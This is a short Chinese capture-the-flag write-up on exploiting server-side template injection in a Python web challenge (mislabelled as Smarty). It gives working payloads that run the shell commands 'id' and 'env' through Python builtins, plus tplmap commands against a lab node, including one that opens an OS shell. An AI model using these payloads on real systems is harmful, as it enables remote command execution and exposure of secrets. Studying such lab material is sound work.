知识点

  • SSTI
  • python模板注入(Smarty模板)

启动靶机

1. 访问题目

打开页面,页面显示Hello guest,猜测要传参name,尝试传参
image.png

2. SSTI注入

尝试进行ssti注入(根据题目提示也可知是ssti)
image.png

发现存在模板注入,payload:

  1. ?name={{c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}

3. env打印环境变量拿到flag

env打印环境变量:

  1. ?name={{c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('env').read()") }}

image.png

使用splmap工具

  1. python tplmap.py -u http://node4.buuoj.cn:29668/\?name\=1
  2. python tplmap.py -u http://node4.buuoj.cn:29668/\?name\=1 --os-shell

image.png
存在ssti:
image.png

image.png
env查看环境变量,得到flag
image.png